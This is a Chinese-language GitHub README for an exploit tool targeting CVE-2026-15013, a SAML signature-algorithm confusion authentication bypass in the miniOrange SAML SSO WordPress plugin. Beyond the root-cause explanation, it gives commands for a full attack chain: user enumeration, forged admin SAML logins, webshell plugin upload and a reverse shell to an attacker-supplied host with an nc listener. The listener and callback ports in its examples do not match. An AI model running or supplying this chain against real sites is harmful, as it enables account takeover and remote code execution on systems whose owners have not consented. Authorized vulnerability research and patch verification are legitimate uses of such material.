zer0dayf/CVE-2026-15013

GitHub: zer0dayf/CVE-2026-15013

针对 WordPress miniOrange SAML SSO 插件 <= 5.4.3 的 SAML 签名算法混淆身份验证绕过漏洞(CVE-2026-15013)的 PoC 利用工具。

Stars: 0 | Forks: 0

# CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 身份验证绕过 (PoC) **CVE-2026-15013** 的概念验证:在 miniOrange *SAML Single Sign On – SSO Login* WordPress 插件(版本**包括 5.4.3 及以下**)中,利用 SAML **签名算法混淆** (HMAC-SHA1) 实现的未经身份验证的身份验证绕过。 **仅供授权测试。** 请仅将此代码用于您拥有或已获得明确测试许可的系统。未经授权访问计算机系统是违法行为。 ## 根本原因 `Mo_SAML_Utilities::mo_saml_cast_key()` 信任来自攻击者可控的 `SAMLResponse` 中的 `SignatureMethod` 算法。当其设置为 **HMAC-SHA1** 时,该插件会将 IdP 的 **RSA 公钥**重铸为 HMAC 共享密钥,并使用它来验证签名。任何能够读取 IdP 证书(通常是公开的元数据)的人,都可以为任何现有的 WordPress 用户(包括管理员)伪造有效的断言。 已在 **5.4.4+** 版本中修补(拒绝不安全的算法/HMAC)。 ## CVSS **9.8 严重** — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ## 环境要求 - Python 3.10+ - `openssl` CLI(用于从证书提取公钥) - 目标 WordPress 网络的访问权限,以及用于自动获取密钥的 IdP SAML 描述符的访问权限 安装依赖项: ``` pip install -r requirements.txt ``` ## 用法 完整利用链(枚举、HMAC 登录、管理员权限、webshell): ``` python3 exploit.py -u https://TARGET.example ``` 可选的反弹 shell(请先启动监听器:`nc -lvnp 4448`): ``` python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444 ``` 仅登录(无 shell): ``` python3 exploit.py -u https://TARGET.example --no-shell ``` 手动覆盖参数: ``` python3 exploit.py -u https://TARGET.example \ --issuer https://idp.example/realms/xxx \ --nameid admin \ -k ./idp-pubkey.pem ``` ### 参数 | 标志 | 描述 | |------|-------------| | `-u, --url` | WordPress 基础 URL(**必填**) | | `-k, --hmac-key` | PEM 公钥或证书文件;如果为空,则从 IdP 元数据中获取 | | `--issuer` | 覆盖 IdP issuer | | `--acs` | 覆盖 ACS URL | | `--nameid` | 强制指定单个 WordPress 用户名 | | `--lhost` / `--lport` | 反弹 shell 回调地址(默认端口 4444) | | `--no-shell` | 在获取管理员会话后停止 | | `--no-reverse` | 上传 shell 但不触发反弹 | ## 流程 1. 探测 WordPress 及插件版本(必须 <= 5.4.3) 2. 发现 ACS、SP entityID 和 IdP issuer 3. 获取 IdP 签名证书(元数据)并派生公钥 PEM(HMAC 密钥) 4. 枚举 WordPress 用户 5. 为每个候选用户伪造 HMAC-SHA1 签名的 SAMLResponse 6. 选择具有 install_plugins 权限的账户(管理员) 7. 上传 webshell 插件(`exp/shell.php?c=id`) 8. 通过 `--lhost` 可选的反弹 shell ## 免责声明 本项目仅供教育和授权的安全研究使用。作者和贡献者不对任何滥用行为负责。在测试第三方系统之前,请务必获得书面许可。原始漏洞已通过负责任的漏洞披露渠道报告;本仓库仅出于学习和防御性验证的目的演示其复现过程。 ## 参考资料 - https://www.cve.org/CVERecord?id=CVE-2026-15013 - https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve - 插件修复:miniOrange SAML 5..4.4+ ## 许可证 仅供研究使用。不提供任何担保。
标签:CISA项目, Python, SAML, WordPress插件, 安全测试工具, 无后门, 身份认证绕过, 逆向工具